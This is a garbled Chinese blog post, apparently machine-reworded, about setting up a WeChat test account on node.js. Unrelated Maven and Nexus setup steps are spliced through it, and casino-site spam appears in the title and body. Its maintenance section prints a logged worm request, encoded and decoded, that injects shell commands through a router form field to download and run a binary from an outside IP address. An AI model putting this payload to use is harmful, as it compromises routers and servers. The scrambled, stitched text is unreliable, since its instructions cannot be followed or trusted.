葡京赌场网址初涉node.js做微信测试公众号一起填写坑顺便发现独有趣之任何漏洞

【微信测试公众号】

如题,资料网上有同怪堆,这里是实施了举行只整治。

一半年前打着戏搭起来的“微信简历”,是LAMP版的,很轻描淡写。

【注意】maven配置

微信的官文档在当时 http://mp.weixin.qq.com/wiki/index.php

maven要运行在JDK:外部JAVA_HOME指定到JDK,eclipse中runtime指定到JDK

1.获取access token

每当eclipse中布局好maven的目功能,可以事半功倍(在Maven
Repositories面板中配置)

2.由定义菜单创建,直接当调节工具上举行了 http://mp.weixin.qq.com/debug

下载整个索引步骤见网址:

3.过渡指南(接入自己的网站)

http://www.cnblogs.com/mingforyou/archive/2013/08/23/3276864.html

4.吸收微信信息,判断消息类型,判断消息根本字(比如来哪个按钮),响应消息

 

此间有只稍坑,不同门类的音数据结构略有不同,判空最好做细致点。

【步骤】eclipse中拿web项目转为maven项目

 

着重步骤可以参照网上的稿子

【V2.0 换nodejs后台】

http://zk1878.iteye.com/blog/1222330

之所以惯LAMP和Tomcat+SpringMVC,刚接触nodejs硬是看傻眼了~服务器也?容器呢?要和谐于js里监听端口。。。好伐,看正在API查着demo搞起~于是发端填写坑的一起啦~

足专门关注以下操作:

1.微信底音信是xml格式,解析需要工具,比如xml2js

每当品种达右键Configure—>convert to Maven project

—>干脆直接找到个微信的框架node-wechat,瞄了一下乘,底层就是xml2js,不用再发明轮子了~认证部分sha1认证也未用自己写~

依傍到之自建Maven项目为足以引入到dependency并设置作用域为compile

2.js文本放上Ubuntu服务器用node启动不了~【Error: listen EACCES】

当品种达右键属性—>Deployment Assembly要配备web项目配置路径

—>查了转凡服务器80端口要就此root运行~不思sudo让脚本权限太强,只好以iptables里把80端口的造访转发到本8080~终于飞起了。

 

3.微信消息之数据结构细节问题,比如没有特别判断是否文本消息就取Content字段导致类似空指针错误。细心点就可知缓解之。

【步骤】编写pom.xml

—>为夫还专程进去看了一晃node-wechat/index.js的代码,框架的作者或生细致的,该处理的都处理了。

每当中央仓查找类库坐标

4.健壮性:随便一个非微信请求虽会Exception奔溃退出。—>在js代码里加入try…catch却了不起作用。

http://mvnrepository.com/

—>因为框架的统筹是因事件监听的模式,许多异步和回调的操作,不用try…catch捕捉,而是要因此process.on(‘uncaughtException’,
callback)去处理。

而eclipse中安排好了maven索引,可以直接当pom文件的Dependencies视图添加

5.日志。直接记录不解析的req对象获得的凡[object],记录解析后底目标则收获不顶那些无效的呼吁。

中央仓找不顶之类包,可以mvn install:install-file
命令安装到地方库,例如:

—>不思量最复杂而引入日志框架,直接拿写文件之代码嵌入至微信的框架里,在读入请求流req.on(‘end’,
callback)里记录请求,完事~

mvn install:install-file -Dfile=kaptcha-2.1.1.jar
-DgroupId=com.google.code.kaptcha -DartifactId=kaptcha -Dversion=2.1.1
-Dpackaging=jar

6.守护进程。node监听端口是手动调用的,所以,进程启动为如团结手动去举行。—>不思挂nohup,就装了又一个node框架forever,而且如果-g方式安装。

 

至今,测试公众号终于飞起啦!

【注意】版本冲突

 

NoSuchMethodError:GenericTypeResolver.resolveReturnTypeForGenericMethod

【后期维护】

材料如下

过了片天没事上去检查日志,貌似还是无克十分欣喜地嬉戏~

http://engineering.wix.com/2013/04/25/maven-classpath-hell-nosuchmethoderror-when-building-a-spring-context/

1.Caught exception: TypeError: Cannot read property ‘xml’ of null

由是Spring-Context-Support引用了大版本Spring3.2,但项目受到使用的是不如版本Spring2.1无有是方式。解决办法是合版本。

非微信请求,比如直接敲网址。反正错误都掀起了,就不处理了。想更健壮些可以针对http请求做判断与日志。

 

 

【步骤】自己搭建nexus私服

2.可疑央

要害步骤如下:

#请求的原内容
%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%35%63%37%30%36%62%64%63%20%68%74%74%70%3a%2f%2f%32%30%36%2e%32%31%37%2e%31%35%2e%36%30%3a%33%32%30%30%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2e%35%63%37%30%36%62%64%63%22%20%3e%3e%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%35%63%37%30%36%62%64%63%2e%73%68%3b%2e%2f%2e%35%63%37%30%36%62%64%63%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

#解码后
submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .5c706bdc.sh;echo "wget -O .5c706bdc http://206.217.15.60:3200" >> .5c706bdc.sh;echo "chmod +x .5c706bdc" >> .5c706bdc.sh;echo "./.5c706bdc" >> .5c706bdc.sh;echo "rm .5c706bdc" >> .5c706bdc.sh;chmod +x .5c706bdc.sh;./.5c706bdc.sh`&StartEPI=1

http://www.360doc.com/content/14/0514/09/1906950_377442397.shtml

 whois查了一晃ip是个意想不到的域名,网站为空,目测是只八九不离十爬虫的事物。

非root账户最好先用葡京赌场网址root配置sudo命令/etc/sudoers

翻开了转至关重要字,发现是以乌云上登记的纰漏, http://www.wooyun.org/bugs/wooyun-2013-021321
基本上可以判定,就是个扫描攻击路由器的蠕虫~

解决wrapper  | Unable to start JVM: No such file or directory:

曾把除了80与22外边的端口封掉了,不过请虽是起80端口上的,没道~

于/nexus/bin/jsw/conf/wrapper.conf中将wrapper.java.command改呢绝对路径

而且只是对路由器的抨击,在本人之运用中才是一致积编码,没威胁~况且有意跑了一下wget命令,也并休达到,估计攻击方已经变了~

搭建得后安排仓库

 

http://www.iteye.com/topic/1126678

3.开机无法活动启动——防火墙设置

 

iptables端口重定向设置,一更开就吃重置。尝试了官网保存设置的道
http://wiki.ubuntu.org.cn/IptablesHowTo\#Saving\_iptables\_.E4.BF.9D.E5.AD.98.E8.AE.BE.E7.BD.AE
是立竿见影了,但是一般把讲主机上的装给覆盖了,导致22端口连休达,整台云主机就如此废掉了~~~找客服运维太麻烦了,直接重装了~~~

捣腾了几许转头,最后决定在/etc/rc.local里补充加命令,每次开机配置~成功~

 

4.开机无法自动启动——node应用自动启动

以前凡是故forever框架来管理下,发现机器还开后动并无能够自动启动,还要另外安装checkconfig之类的服务器的一部分程序,从简单的角度出发,还是仍然交给rc.local吧~

接下来为后台运行都不要root运行以免权限太老,配合了nohup和su命令,重开后若想之那么~

su -c "nohup nodejs /home/mydir/my.js > /home/mydir/console.log 2>&1 &" myuser

 

5.warning: possible EventEmitter memory leak detected. 11 listeners
added.  Use emitter.setMaxListeners() to increase limit.

一如既往总人口暴开了最为多监听事件,但框架就如此设计的,只好将范围而特别呗~其实为无妨碍事~

 

好哪,终于填平所有坑,可以愉悦地玩耍啦~